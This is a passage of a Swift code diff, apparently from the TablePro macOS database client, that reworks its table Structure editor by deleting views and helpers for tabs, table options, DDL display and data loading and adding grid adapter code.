+        addRow()
+    }
+
+    func gridDuplicateRows(_ rowIDs: [RowID]) {
+        duplicateRows(rowIDs)
+    }
+
+    func gridCanPasteRows() -> Bool {
+        canEdit && canAdd && StructurePasteboard.canPaste
+    }
+
+    func gridPasteRows() {
+        pasteRows()
+    }
+
+    func gridCopyRows(_ rowIDs: [RowID]) -> Bool {
+        guard !rowIDs.isEmpty else { return false }
+        copyRows(rowIDs)
+        return true
+    }
+
+    // A move is offered only while nothing filters or sorts the list, so the drop index is a working index.
+    func gridMoveRow(from source: RowID, toDisplayIndex destination: Int) {
+        guard let sourceIndex = sourceIndex(of: source) else { return }
+        editor?.moveColumn(from: sourceIndex, to: destination)
+    }
+
+    // The provider sorts by one column, so a secondary key the header appended is dropped.
+    func gridSortDidChange(_ sort: SortState) {
+        sortDidChange(sort)
+    }
+
+    // A value filter rearranges the list, which withdraws the column move.
+    func gridConfirmDisplayOrderChange(then apply: @escaping @MainActor () -> Void) {
+        apply()
+        model.configuration = makeConfiguration(provider: provider)
+    }
+
+    func gridRowMenuItems(for rowIDs: [RowID], clickedRow: RowID) -> [NSMenuItem] {
+        rowMenuItems(for: rowIDs, clickedRow: clickedRow)
+    }
+
+    func gridEmptySpaceMenu() -> NSMenu? {
+        nil
+    }
+}
+
+// Mints one RowID per definition id and keeps it for the adapter's lifetime.
+struct StructureRowIdentities {
+    private var rowIDs: [UUID: RowID] = [:]
+    private var entityIDs: [RowID: UUID] = [:]
+    private var next = 0
+
+    mutating func rowID(for id: UUID) -> RowID {
+        if let existing = rowIDs[id] { return existing }
+        let rowID = RowID.existing(next)
+        next += 1
+        rowIDs[id] = rowID
+        entityIDs[rowID] = id
+        return rowID
+    }
+
+    func entityID(of rowID: RowID) -> UUID? {
+        entityIDs[rowID]
+    }
+}
diff --git a/apple/TablePro/Views/Structure/StructureServerSupport.swift b/apple/TablePro/Views/Structure/StructureServerSupport.swift
index 8a35217ea4..7029f3f3d5 100644
--- a/apple/TablePro/Views/Structure/StructureServerSupport.swift
+++ b/apple/TablePro/Views/Structure/StructureServerSupport.swift
@@ -49,11 +49,11 @@ struct StructureServerSupport: Equatable, Sendable {
     }
 
     /// Exhaustive on purpose: a new tab has to state whether this server can refuse it.
-    func offers(_ tab: StructureTab) -> Bool {
+    func offers(_ tab: StructureSection) -> Bool {
         switch tab {
         case .checkConstraints:
             return checkConstraintRefusal == nil
-        case .columns, .indexes, .foreignKeys, .triggers, .options, .ddl, .parts:
+        case .columns, .indexes, .foreignKeys:
             return true
         }
     }
diff --git a/apple/TablePro/Views/Structure/StructureTabAvailability.swift b/apple/TablePro/Views/Structure/StructureTabAvailability.swift
deleted file mode 100644
index 155b53f9a8..0000000000
--- a/apple/TablePro/Views/Structure/StructureTabAvailability.swift
+++ /dev/null
@@ -1,43 +0,0 @@
-//
-//  StructureTabAvailability.swift
-//  TablePro
-//
-
-import Foundation
-
-/// Which tabs the Structure editor offers, from what the engine can do and what the connected
-/// server answers for.
-///
-/// Both halves matter. `supportsCheckConstraints` is the engine at its newest release; the server
-/// in front of the user may be older than the release that gained them, and MySQL before 8.0.16
-/// and MariaDB before 10.2.1 answer `Query OK` to a `CHECK` clause and throw it away. Offering the
-/// tab there is offering an edit that reports success and changes nothing.
-enum StructureTabAvailability {
-    // Table options are the driver's answer for this object (`offersTableOptionsTab`), never the engine's type.
-    static func tabs(
-        for type: DatabaseType,
-        serverSupport: StructureServerSupport,
-        offersTableOptions: Bool = false
-    ) -> [StructureTab] {
-        StructureTab.allCases.filter { tab in
-            engineOffers(tab, on: type, offersTableOptions: offersTableOptions) && serverSupport.offers(tab)
-        }
-    }
-
-    private static func engineOffers(_ tab: StructureTab, on type: DatabaseType, offersTableOptions: Bool) -> Bool {
-        switch tab {
-        case .foreignKeys:
-            return type.supportsForeignKeys
-        case .parts:
-            return type == .clickhouse
-        case .triggers:
-            return type.supportsTriggers
-        case .checkConstraints:
-            return type.supportsCheckConstraints
-        case .options:
-            return offersTableOptions
-        case .columns, .indexes, .ddl:
-            return true
-        }
-    }
-}
diff --git a/apple/TablePro/Views/Structure/StructureTabDataState.swift b/apple/TablePro/Views/Structure/StructureTabDataState.swift
deleted file mode 100644
index e1b436835b..0000000000
--- a/apple/TablePro/Views/Structure/StructureTabDataState.swift
+++ /dev/null
@@ -1,41 +0,0 @@
-//
-//  StructureTabDataState.swift
-//  TablePro
-//
-
-import Foundation
-
-/// Tracks which structure tabs hold data and which of them need re-fetching.
-/// Keeping the two apart lets a refresh mark every tab stale without dropping the
-/// counts already on screen, so the segmented picker never reflows mid-reload.
-struct StructureTabDataState: Equatable {
-    private var loaded: Set<StructureTab> = []
-    private var stale: Set<StructureTab> = []
-
-    func hasData(_ tab: StructureTab) -> Bool {
-        loaded.contains(tab)
-    }
-
-    func needsFetch(_ tab: StructureTab) -> Bool {
-        !loaded.contains(tab) || stale.contains(tab)
-    }
-
-    mutating func markAllStale() {
-        stale = loaded
-    }
-
-    mutating func markFetched(_ tab: StructureTab) {
-        loaded.insert(tab)
-        stale.remove(tab)
-    }
-
-    mutating func reset() {
-        loaded.removeAll()
-        stale.removeAll()
-    }
-
-    static func label(for tab: StructureTab, count: Int?) -> String {
-        guard let count else { return tab.displayName }
-        return "\(tab.displayName) (\(count))"
-    }
-}
diff --git a/apple/TablePro/Views/Structure/StructureTableRebuildHandler.swift b/apple/TablePro/Views/Structure/StructureTableRebuildHandler.swift
index 629952ae49..e9909116b1 100644
--- a/apple/TablePro/Views/Structure/StructureTableRebuildHandler.swift
+++ b/apple/TablePro/Views/Structure/StructureTableRebuildHandler.swift
@@ -101,7 +101,7 @@ enum StructureTableRebuildHandler {
     ) async throws -> StructureRebuildPlanRunner.Prepared {
         let partition = partition(changes)
         guard partition.unsupported.isEmpty else {
-            throw RebuildError.cannotExpress(partition.unsupported.map(\.description))
+            throw RebuildError.cannotExpress(partition.unsupported.map(\.localizedDescription))
         }
 
         let respecification = respecification(from: partition.rebuilt)
diff --git a/apple/TablePro/Views/Structure/StructureViewActionHandler.swift b/apple/TablePro/Views/Structure/StructureViewActionHandler.swift
deleted file mode 100644
index eadc44ff64..0000000000
--- a/apple/TablePro/Views/Structure/StructureViewActionHandler.swift
+++ /dev/null
@@ -1,23 +0,0 @@
-//
-//  StructureViewActionHandler.swift
-//  TablePro
-//
-
-import Foundation
-
-/// The structure actions that need the grid that is on screen.
-///
-/// Saving is deliberately absent. The staged edits belong to the tab's `StructureEditingSession`,
-/// and the close prompt offers to save them from tabs that have no mounted structure view at all,
-/// so `applyStagedChanges` lives on the session and every caller goes there instead.
-@MainActor
-final class StructureViewActionHandler {
-    var previewSQL: (() -> Void)?
-    var copyRows: (() -> Void)?
-    var pasteRows: (() -> Void)?
-    var undo: (() -> Void)?
-    var redo: (() -> Void)?
-    var addRow: (() -> Void)?
-    var removeRow: (() -> Void)?
-    var refresh: (() -> Void)?
-}
diff --git a/apple/TablePro/Views/Structure/TableOptionsView.swift b/apple/TablePro/Views/Structure/TableOptionsView.swift
deleted file mode 100644
index 2309b09190..0000000000
--- a/apple/TablePro/Views/Structure/TableOptionsView.swift
+++ /dev/null
@@ -1,281 +0,0 @@
-//
-//  TableOptionsView.swift
-//  TablePro
-//
-
-import SwiftUI
-
-// The Structure tab's Options sub-tab: the table's default character set and collation, and its AUTO_INCREMENT
-// counter. Every edit is one whole-value write to the change manager, so the coupled charset and collation pick
-// lands as one staged change and one undo step.
-internal struct TableOptionsView: View {
-    @ObservedObject var session: StructureEditingSession
-    @ObservedObject var changeManager: StructureChangeManager
-    let isReadOnly: Bool
-    // The draft AUTO_INCREMENT column's largest value, nil when the table has none.
-    let autoIncrementMaximum: UInt64?
-    let onRetry: () -> Void
-    let onRetryCatalog: () -> Void
-
-    @State private var counterText = ""
-    @FocusState private var isCounterFocused: Bool
-
-    var body: some View {
-        Group {
-            if let options = displayedOptions {
-                form(options)
-            } else {
-                stateView
-            }
-        }
-        .frame(maxWidth: .infinity, maxHeight: .infinity)
-        .onAppear { syncCounterText() }
-        .onChange(of: displayedCounter) { _ in
-            guard !isCounterFocused else { return }
-            syncCounterText()
-        }
-        .onChange(of: isCounterFocused) { isFocused in
-            if !isFocused { syncCounterText() }
-        }
-    }
-
-    // MARK: - State
-
-    private var draft: TableOptions? { changeManager.tableOptions.current }
-
-    // A read that landed while edits were staged has not become the baseline yet, so it shows read-only.
-    private var displayedOptions: TableOptions? {
-        draft ?? (session.tableOptions.value ?? nil)
-    }
-
-    private var isCounterConfirmed: Bool {
-        session.autoIncrementRead == .confirmed && changeManager.tableOptions.isAutoIncrementConfirmed
-    }
-
-    // An unconfirmed counter may be one the server moved past; a read deferred behind staged edits shows read-only.
-    private var displayedCounter: UInt64? {
-        guard session.autoIncrementRead == .confirmed else { return nil }
-        guard changeManager.tableOptions.isAutoIncrementConfirmed else { return session.loadedTableOptions?.autoIncrement }
-        return displayedOptions?.autoIncrement
-    }
-
-    private var editability: StructureTableOptionsPolicy.Editability {
-        StructureTableOptionsPolicy.resolve(
-            hasBaseline: draft != nil,
-            isReadOnly: isReadOnly,
-            isSaving: changeManager.isHeldForSave
-        )
-    }
-
-    private var catalog: TableOptionsCatalog? {
-        guard case .loaded(let catalog) = session.tableOptionsCatalog else { return nil }
-        return catalog
-    }
-
-    @ViewBuilder
-    private var stateView: some View {
-        switch session.tableOptions {
-        case .idle, .loading:
-            ProgressView()
-                .controlSize(.small)
-        case .failed(let message):
-            VStack(spacing: 8) {
-                Image(systemName: "exclamationmark.triangle")
-                    .font(.largeTitle)
-                    .foregroundStyle(.orange)
-                    .accessibilityHidden(true)
-                Text("Couldn't read the table options")
-                RevealedTextView(message)
-                    .foregroundStyle(.secondary)
-                Button("Try Again", action: onRetry)
-                    .accessibilityIdentifier("structure-options-retry")
-            }
-            .padding()
-        case .loaded:
-            Text("This table has no options to change.")
-                .foregroundStyle(.secondary)
-        }
-    }
-
-    // MARK: - Form
-
-    private func form(_ options: TableOptions) -> some View {
-        let editability = self.editability
-        return Form {
-            Section {
-                Picker("Character Set", selection: characterSetBinding) {
-                    if options.characterSet == nil {
-                        Text("Unknown").tag(String?.none)
-                    }
-                    ForEach(TableOptionsForm.characterSets(in: catalog, keeping: options.characterSet), id: \.self) {
-                        Text($0).tag(Optional($0))
-                    }
-                }
-                .disabled(!editability.isEditable || catalog == nil)
-                .accessibilityIdentifier("structure-options-charset")
-
-                Picker("Collation", selection: collationBinding) {
-                    if options.collation == nil {
-                        Text("Unknown").tag(String?.none)
-                    }
-                    ForEach(collationChoices(options)) { choice in
-                        Text(choice.title).tag(Optional(choice.name))
-                    }
-                }
-                .disabled(!editability.isEditable || catalog == nil)
-                .accessibilityIdentifier("structure-options-collation")
-
-                Toggle("Convert existing columns", isOn: convertBinding)
-                    .disabled(!editability.isEditable)
-                    .accessibilityIdentifier("structure-options-convert")
-
-                catalogStatusRow
-            } footer: {
-                if options.convertsColumns {
-                    Text("Rewrites every text column to this character set. TEXT can grow to MEDIUMTEXT, and the table is copied while it runs.")
-                } else {
-                    Text("Applies to columns added later. Existing columns keep their character set.")
-                }
-            }
-
-            if let maximum = autoIncrementMaximum {
-                counterSection(maximum: maximum, isEditable: editability.isEditable)
-            }
-        }
-        .formStyle(.grouped)
-        .safeAreaInset(edge: .bottom, spacing: 0) {
-            if let reason = editability.unavailableReason, !changeManager.isHeldForSave {
-                StructureTabNoteView(systemImage: "lock", text: reason, identifier: "structure-options-unavailable-note")
-            }
-        }
-    }
-
-    private func collationChoices(_ options: TableOptions) -> [TableOptionsForm.Choice] {
-        TableOptionsForm.collations(in: catalog, characterSet: options.characterSet, keeping: options.collation)
-    }
-
-    @ViewBuilder
-    private var catalogStatusRow: some View {
-        switch session.tableOptionsCatalog {
-        case .idle, .loading:
-            HStack {
-                Text("Reading the server's character sets…")
-                    .foregroundStyle(.secondary)
-                Spacer()
-                ProgressView()
-                    .controlSize(.small)
-            }
-        case .failed:
-            HStack {
-                Label("Couldn't read the server's character sets.", systemImage: "exclamationmark.triangle")
-                    .foregroundStyle(.secondary)
-                Spacer()
-                Button("Try Again", action: onRetryCatalog)
-                    .accessibilityIdentifier("structure-options-catalog-retry")
-            }
-        case .loaded:
-            EmptyView()
-        }
-    }
-
-    private func counterSection(maximum: UInt64, isEditable: Bool) -> some View {
-        Section {
-            TextField("Next Auto Increment", text: counterBinding)
-                .focused($isCounterFocused)
-                .disabled(!isEditable || !isCounterConfirmed)
-                .accessibilityIdentifier("structure-options-auto-increment")
-            // The server raises a value below the next free one, so a saved counter is read back, never shown as typed.
-            switch session.autoIncrementRead {
-            case .rereading:
-                HStack {
-                    Text("Reading the saved value…")
-                        .foregroundStyle(.secondary)
-                    Spacer()
-                    ProgressView()
-                        .controlSize(.small)
-                }
-            case .unconfirmed:
-                HStack {
-                    Label("Couldn't read the saved value.", systemImage: "exclamationmark.triangle")
-                        .foregroundStyle(.secondary)
-                    Spacer()
-                    Button("Try Again", action: onRetry)
-                        .accessibilityIdentifier("structure-options-auto-increment-retry")
-                }
-            case .confirmed:
-                EmptyView()
-            }
-            if let message = AutoIncrementEntry(
-                counterText, maximum: maximum, original: changeManager.tableOptions.original?.autoIncrement
-            ).message {
-                Text(message)
-                    .foregroundStyle(.red)
-                    .accessibilityIdentifier("structure-options-auto-increment-error")
-            }
-        } footer: {
-            Text("A value at or below the highest existing ID becomes that ID plus one.")
-        }
-    }
-
-    // MARK: - Bindings
-
-    private var characterSetBinding: Binding<String?> {
-        Binding(
-            get: { displayedOptions?.characterSet },
-            set: { name in
-                guard let name, let current = draft, name != current.characterSet else { return }
-                changeManager.stageTableOptions(TableOptionsForm.selectingCharacterSet(name, in: current, catalog: catalog))
-            }
-        )
-    }
-
-    private var collationBinding: Binding<String?> {
-        Binding(
-            get: { displayedOptions?.collation },
-            set: { name in
-                guard let name, var next = draft, name != next.collation else { return }
-                next.collation = name
-                changeManager.stageTableOptions(next)
-            }
-        )
-    }
-
-    private var convertBinding: Binding<Bool> {
-        Binding(
-            get: { displayedOptions?.convertsColumns ?? false },
-            set: { converts in
-                guard var next = draft, converts != next.convertsColumns else { return }
-                next.convertsColumns = converts
-                changeManager.stageTableOptions(next)
-            }
-        )
-    }
-
-    // Staged per keystroke, as the comment is, so a save from the keyboard never misses a value still in the field.
-    // Text that is not a valid counter stages the loaded one and holds Save until it is fixed or cleared.
-    private var counterBinding: Binding<String> {
-        Binding(
-            get: { counterText },
-            set: { text in
-                counterText = text
-                guard var next = draft, let maximum = autoIncrementMaximum else { return }
-                let entry = AutoIncrementEntry(
-                    text, maximum: maximum, original: changeManager.tableOptions.original?.autoIncrement
-                )
-                switch entry {
-                case .value(let value):
-                    next.autoIncrement = value
-                case .empty, .invalid:
-                    next.autoIncrement = changeManager.tableOptions.original?.autoIncrement
-                }
-                changeManager.noteAutoIncrementEntry(invalid: entry.message)
-                guard next != draft else { return }
-                changeManager.stageTableOptions(next)
-            }
-        )
-    }
-
-    private func syncCounterText() {
-        counterText = displayedCounter.map { String($0) } ?? ""
-    }
-}
diff --git a/apple/TablePro/Views/Structure/TableStructureView+DataLoading.swift b/apple/TablePro/Views/Structure/TableStructureView+DataLoading.swift
deleted file mode 100644
index d41c293577..0000000000
--- a/apple/TablePro/Views/Structure/TableStructureView+DataLoading.swift
+++ /dev/null
@@ -1,259 +0,0 @@
-//
-//  TableStructureView+DataLoading.swift
-//  TablePro
-//
-
-import AppKit
-import Combine
-import os
-import SwiftUI
-import TableProPluginKit
-import UniformTypeIdentifiers
-
-// MARK: - Data Loading
-
-extension TableStructureView {
-    @Sendable
-    func loadInitialData() async {
-        session.settleOwedRefetch()
-        guard !session.hasLoaded else {
-            isInitialLoading = false
-            isLoading = false
-            await session.reloadConcurrentRefreshAvailability()
-            await loadTableOptionsCatalogIfNeeded()
-            return
-        }
-        await loadColumns()
-        for tab in session.tabsFetchedOnMount where tab != .columns {
-            guard !Task.isCancelled else { break }
-            await loadTabDataIfNeeded(tab)
-        }
-        // A workspace switch cancels this task and restarts it on return, so a cut-short load must not count.
-        guard !Task.isCancelled else { return }
-        await loadTableComment()
-        guard !Task.isCancelled else { return }
-        await session.readTableOptions()
-        guard !Task.isCancelled else { return }
-        adoptFetchedBaseline()
-        session.hasLoaded = true
-        isInitialLoading = false
-        // After the baseline, so the columns are editable while the catalog is read.
-        await loadTableOptionsCatalogIfNeeded()
-    }
-
-    func loadColumns() async {
-        isLoading = true
-        errorMessage = nil
-
-        do {
-            columns = try await structureLoader.columns()
-            tabData.markFetched(.columns)
-        } catch {
-            if let message = fetchFailure(error).message {
-                errorMessage = message
-            }
-        }
-
-        isLoading = false
-    }
-
-    func loadTabDataIfNeeded(_ tab: StructureTab) async {
-        guard tabData.needsFetch(tab) else { return }
-        await fetchTabData(tab)
-    }
-
-    func fetchTabData(_ tab: StructureTab) async {
-        do {
-            switch tab {
-            case .columns:
-                columns = try await structureLoader.columns()
-            case .indexes:
-                indexes = try await structureLoader.indexes()
-                await session.reloadConcurrentRefreshAvailability()
-            case .foreignKeys:
-                foreignKeys = try await structureLoader.foreignKeys()
-            case .checkConstraints:
-                checkConstraints = try await structureLoader.checkConstraints()
-            case .ddl:
-                let table = tableName
-                let schema = structureLoader.scope.schema
-                ddlStatement = try await structureLoader.perform { driver in
-                    try await TableDDLComposer.fetchDDL(
-                        for: table, using: driver, includesDependencies: true, schema: schema
-                    )
-                }
-            case .triggers:
-                do {
-                    triggers = try await structureLoader.triggers()
-                } catch {
-                    guard fetchFailure(error) != .cancelled else { return }
-                    Self.logger.error("Failed to load triggers: \(error.publicLogShape, privacy: .public)")
-                    triggers = []
-                }
-            case .parts, .options:
-                return
-            }
-            tabData.markFetched(tab)
-        } catch {
-            guard let message = fetchFailure(error).message else { return }
-            Self.logger.error("Failed to load \(tab.rawValue, privacy: .public): \(error.publicLogShape, privacy: .public)")
-            errorMessage = message
-        }
-    }
-
-    private func fetchFailure(_ error: any Error) -> StructureFetchFailure {
-        StructureFetchFailure(error, taskIsCancelled: Task.isCancelled)
-    }
-
-    func loadSchemaForEditing() {
-        session.adoptLoadedBaseline()
-    }
-
-    // MARK: - Lifecycle Callbacks
-
-    func onSelectedTabChanged(_ new: StructureTab) {
-        searchText = ""
-        structureSortDescriptor = nil
-        sortState = SortState()
-        gridAdapter.refresh()
-        Task {
-            await loadTabDataIfNeeded(new)
-        }
-    }
-
-    func adoptFetchedBaseline() {
-        guard !structureChangeManager.hasChanges else {
-            session.markStructureStale()
-            return
-        }
-        loadSchemaForEditing()
-    }
-
-    func rebaselineUnlessEdited() {
-        guard !isReloadingAfterSave, !isInitialLoading else { return }
-        adoptFetchedBaseline()
-    }
-
-    func onColumnsChanged() {
-        rebaselineUnlessEdited()
-    }
-
-    func onIndexesChanged() {
-        rebaselineUnlessEdited()
-    }
-
-    func onCheckConstraintsChanged() {
-        rebaselineUnlessEdited()
-    }
-
-    func onForeignKeysChanged() {
-        rebaselineUnlessEdited()
-    }
-
-    func onRefreshData() {
-        guard !isReloadingAfterSave else {
-            Self.logger.debug("Ignoring refresh notification - currently reloading after save")
-            return
-        }
-
-        let justSaved = lastSaveTime.map { Date().timeIntervalSince($0) < 2.0 } ?? false
-
-        if structureChangeManager.hasChanges && !justSaved {
-            Task { @MainActor in
-                let window = coordinator?.contentWindow
-                let confirmed = await AlertHelper.confirmDestructive(
-                    title: String(localized: "Discard Changes?"),
-                    message: String(localized: "You have unsaved changes to the table structure. Refreshing will discard these changes."),
-                    confirmButton: String(localized: "Discard"),
-                    cancelButton: String(localized: "Cancel"),
-                    window: window
-                )
-
-                if confirmed {
-                    discardChanges()
-                    await reloadAllTabs()
-                }
-            }
-        } else {
-            Task { @MainActor in
-                await reloadAllTabs()
-            }
-        }
-    }
-
-    private func reloadAllTabs() async {
-        session.markEveryTabStale()
-        gridAdapter.referenceMenus.invalidateTableLists()
-        partsReloadToken += 1
-        await reloadCoreTabs()
-        switch selectedTab {
-        case .ddl:
-            await fetchTabData(.ddl)
-        case .triggers where connection.type.supportsTriggers:
-            await fetchTabData(.triggers)
-        case .columns, .indexes, .foreignKeys, .checkConstraints, .triggers, .options, .parts:
-            break
-        }
-    }
-
-    func reloadCoreTabs() async {
-        isLoading = true
-        errorMessage = nil
-        defer { isLoading = false }
-
-        let includesForeignKeys = connection.type.supportsForeignKeys
-        let offersTableOptions = session.offersTableOptionsTab
-        do {
-            let reloaded = try await structureLoader.coreTabs(
-                includingForeignKeys: includesForeignKeys,
-                includingTableComment: offersTableComment,
-                includingTableOptions: offersTableOptions
-            )
-
-            if let comment = reloaded.tableComment {
-                session.settleTableComment(comment)
-            }
-            // A save never adopts the counter it wrote: the server raises a low value, so this read is what shows.
-            if let options = reloaded.tableOptions {
-                session.settleTableOptions(options)
-            }
-            columns = reloaded.columns
-            indexes = reloaded.indexes
-            tabData.markFetched(.columns)
-            tabData.markFetched(.indexes)
-            if includesForeignKeys {
-                foreignKeys = reloaded.foreignKeys
-                tabData.markFetched(.foreignKeys)
-            }
-            await session.reloadConcurrentRefreshAvailability()
-        } catch {
-            // A counter re-read the save started ends unconfirmed, keeping the options already on screen.
-            if offersTableOptions {
-                session.settleTableOptions(.cancelled)
-            }
-            guard let message = fetchFailure(error).message else { return }
-            Self.logger.error("Failed to reload structure: \(error.publicLogShape, privacy: .public)")
-            errorMessage = message
-        }
-    }
-}
-
-internal enum StructureFetchFailure: Equatable {
-    case cancelled
-    case failed(String)
-
-    internal init(_ error: any Error, taskIsCancelled: Bool) {
-        if error is CancellationError || taskIsCancelled {
-            self = .cancelled
-        } else {
-            self = .failed(error.localizedDescription)
-        }
-    }
-
-    internal var message: String? {
-        switch self {
-        case .cancelled: nil
-        case .failed(let message): message
-        }
-    }
-}
diff --git a/apple/TablePro/Views/Structure/TableStructureView+EditGate.swift b/apple/TablePro/Views/Structure/TableStructureView+EditGate.swift
deleted file mode 100644
index 92fdacfe69..0000000000
--- a/apple/TablePro/Views/Structure/TableStructureView+EditGate.swift
+++ /dev/null
@@ -1,38 +0,0 @@
-//
-//  TableStructureView+EditGate.swift
-//  TablePro
-//
-
-import Foundation
-import TableProPluginKit
-
-extension TableStructureView {
-    var editGate: StructureEditGate {
-        StructureEditGate(
-            databaseType: connection.type, objectKind: objectKind, schema: schemaName, isSessionBound: isSessionBound
-        )
-    }
-
-    var foreignKeyEditAvailability: ForeignKeyEditAvailability {
-        ForeignKeyEditPolicy.resolve(
-            support: PluginManager.shared.foreignKeyEditSupport(for: connection.type),
-            engineName: connection.type.displayName,
-            kindRefusal: editGate.kindRefusal(.addForeignKey),
-            canEditSchema: editGate.canEditSchema
-        )
-    }
-
-    func publishFooterCapability() {
-        let gate = editGate
-        let footer = StructureFooterPolicy.resolve(
-            tab: selectedTab,
-            canEditSchema: gate.canEditSchema,
-            hasSelection: !session.gridModel.selection.isEmpty,
-            isSaving: structureChangeManager.isHeldForSave,
-            resolve: { gate.resolve($0) }
-        )
-        // Published on every write, and this runs on every selection change.
-        guard session.footer != footer else { return }
-        session.footer = footer
-    }
-}
diff --git a/apple/TablePro/Views/Structure/TableStructureView+Schema.swift b/apple/TablePro/Views/Structure/TableStructureView+Schema.swift
deleted file mode 100644
index e76b921e7e..0000000000
--- a/apple/TablePro/Views/Structure/TableStructureView+Schema.swift
+++ /dev/null
@@ -1,187 +0,0 @@
-//
-//  TableStructureView+Schema.swift
-//  TablePro
-//
-
-import AppKit
-import Combine
-import os
-import SwiftUI
-import TableProPluginKit
-import UniformTypeIdentifiers
-
-// MARK: - Schema Operations
-
-extension TableStructureView {
-    func generateStructurePreviewSQL() {
-        let changes = structureChangeManager.getChangesArray()
-        guard !changes.isEmpty else {
-            // An undo back to a clean state would otherwise leave the last preview's SQL behind.
-            toolbarState.previewStatements = []
-            return
-        }
-
-        if skipSchemaPreview {
-            Task { _ = await session.applyStagedChanges(coordinator: coordinator) }
-            return
-        }
-
-        guard let coordinator else { return }
-        Task { await session.previewStagedChanges(coordinator: coordinator) }
-    }
-
-    func refreshAfterApply() async {
-        isReloadingAfterSave = true
-        await reloadCoreTabs()
-        adoptFetchedBaseline()
-        await loadTabDataIfNeeded(selectedTab)
-
-        gridAdapter.refresh()
-
-        // Left false, the next mount re-baselines the change manager and drops anything staged since.
-        session.hasLoaded = true
-        isReloadingAfterSave = false
-    }
-
-    func discardChanges() {
-        session.gridModel.discardEditing()
-        structureChangeManager.discardChanges()
-        gridAdapter.refresh()
-    }
-
-    // MARK: - DDL View
-
-    var ddlView: some View {
-        VStack(spacing: 0) {
-            HStack(spacing: 12) {
-                HStack(spacing: 4) {
-                    Button(action: { ddlFontSize = max(10, ddlFontSize - 1) }) {
-                        Image(systemName: "textformat.size.smaller")
-                            .frame(width: 24, height: 24)
-                    }
-                    .accessibilityLabel(String(localized: "Decrease font size"))
-                    Text("\(Int(ddlFontSize))")
-                        .font(.caption)
-                        .foregroundStyle(.secondary)
-                        .frame(width: 24)
-                    Button(action: { ddlFontSize = min(24, ddlFontSize + 1) }) {
-                        Image(systemName: "textformat.size.larger")
-                            .frame(width: 24, height: 24)
-                    }
-                    .accessibilityLabel(String(localized: "Increase font size"))
-                }
-                .buttonStyle(.borderless)
-
-                Spacer()
-
-                if showCopyConfirmation {
-                    HStack {
-                        Image(systemName: "checkmark.circle.fill")
-                            .foregroundStyle(.green)
-                        Text("Copied!")
-                    }
-                    .transition(.opacity)
-                }
-
-                Button(action: openInEditor) {
-                    Label("Open in Editor", systemImage: "square.and.pencil")
-                }
-                .buttonStyle(.bordered)
-                .disabled(ddlStatement.isEmpty)
-
-                Button(action: copyDDL) {
-                    Label("Copy", systemImage: "doc.on.doc")
-                }
-                .buttonStyle(.bordered)
-
-                Button(action: exportDDL) {
-                    Label("Export", systemImage: "square.and.arrow.up")
-                }
-                .buttonStyle(.bordered)
-            }
-            .padding()
-            .paneBarBackground()
-
-            Divider()
-
-            if ddlStatement.isEmpty {
-                StructureDDLUnavailableView()
-            } else {
-                DDLTextView(ddl: ddlStatement, fontSize: $ddlFontSize, databaseType: connection.type)
-            }
-        }
-    }
-
-    // MARK: - DDL Actions
-
-    private func openInEditor() {
-        guard !ddlStatement.isEmpty else { return }
-        coordinator?.tabManager.addTab(
-            initialQuery: ddlStatement,
-            title: "\(tableName) DDL"
-        )
-    }
-
-    func openTriggerInEditor(_ trigger: TriggerInfo) {
-        guard !trigger.statement.isEmpty else { return }
-        coordinator?.tabManager.addTab(
-            initialQuery: trigger.statement,
-            title: trigger.name
-        )
-    }
-
-    private func copyDDL() {
-        ClipboardService.shared.writeText(ddlStatement)
-
-        withMotion {
-            showCopyConfirmation = true
-        }
-
-        copyResetTask?.cancel()
-        copyResetTask = Task { @MainActor in
-            try? await Task.sleep(for: .milliseconds(1_500))
-            guard !Task.isCancelled else { return }
-            withMotion {
-                showCopyConfirmation = false
-            }
-        }
-    }
-
-    private func exportDDL() {
-        let savePanel = NSSavePanel()
-        if let sqlType = UTType(filenameExtension: "sql") {
-            savePanel.allowedContentTypes = [sqlType]
-        }
-        savePanel.nameFieldStringValue = "\(tableName).sql"
-
-        guard let window = coordinator?.contentWindow else { return }
-        savePanel.beginSheetModal(for: window) { response in
-            guard response == .OK, let url = savePanel.url else { return }
-            do {
-                try ddlStatement.write(to: url, atomically: true, encoding: .utf8)
-            } catch {
-                Self.logger.error("Failed to export: \(error.publicLogShape, privacy: .public)")
-                AlertHelper.showErrorSheet(
-                    title: String(localized: "Could not export the schema"),
-                    message: error.localizedDescription,
-                    window: window
-                )
-            }
-        }
-    }
-}
-
-internal struct StructureDDLUnavailableView: View {
-    internal var body: some View {
-        VStack(spacing: 8) {
-            Image(systemName: "tray")
-                .font(.largeTitle)
-                .foregroundStyle(.secondary)
-                .accessibilityHidden(true)
-            Text(String(localized: "No DDL available"))
-                .foregroundStyle(.secondary)
-        }
-        .frame(maxWidth: .infinity, maxHeight: .infinity)
-        .valueStandInBackground()
-    }
-}
diff --git a/apple/TablePro/Views/Structure/TableStructureView+TableComment.swift b/apple/TablePro/Views/Structure/TableStructureView+TableComment.swift
deleted file mode 100644
index 0a1fb9e5de..0000000000
--- a/apple/TablePro/Views/Structure/TableStructureView+TableComment.swift
+++ /dev/null
@@ -1,85 +0,0 @@
-//
-//  TableStructureView+TableComment.swift
-//  TablePro
-//
-
-import AppKit
-import os
-import SwiftUI
-
-internal extension TableStructureView {
-    var tableCommentSupport: DatabaseObjectToolEligibility.Support {
-        DatabaseObjectToolEligibility.Support.of(DatabaseManager.shared.driver(for: connection.id))
-    }
-
-    var offersTableComment: Bool {
-        tableCommentSupport.commentableTypes.contains(objectKind)
-    }
-
-    var tableCommentField: StructureTableCommentPolicy.Field? {
-        StructureTableCommentPolicy.resolve(
-            objectKind: objectKind,
-            support: tableCommentSupport,
-            isReadOnly: toolbarState.safeModeLevel.blocksAllWrites || isSessionBound,
-            load: session.tableComment.erased,
-            isSaving: structureChangeManager.isHeldForSave
-        )
-    }
-
-    /// One model write per keystroke, so the staged change and its undo run never see a stale value.
-    private var tableCommentBinding: Binding<String> {
-        Binding(
-            get: { structureChangeManager.tableComment.text },
-            set: { structureChangeManager.stageTableComment($0) }
-        )
-    }
-
-    @ViewBuilder
-    var tableCommentBar: some View {
-        if let field = tableCommentField {
-            HStack(alignment: .firstTextBaseline, spacing: 12) {
-                Text("Comment:")
-                    .font(.body.weight(.medium))
-
-                TextField(field.placeholder, text: tableCommentBinding, axis: .vertical)
-                    .lineLimit(1...4)
-                    .textFieldStyle(.roundedBorder)
-                    .frame(maxWidth: .infinity)
-                    .disabled(!field.isEditable)
-                    .focused($isTableCommentFocused)
-                    .onSubmit { structureChangeManager.endTableCommentRun() }
-                    .help(field.unavailableReason ?? "")
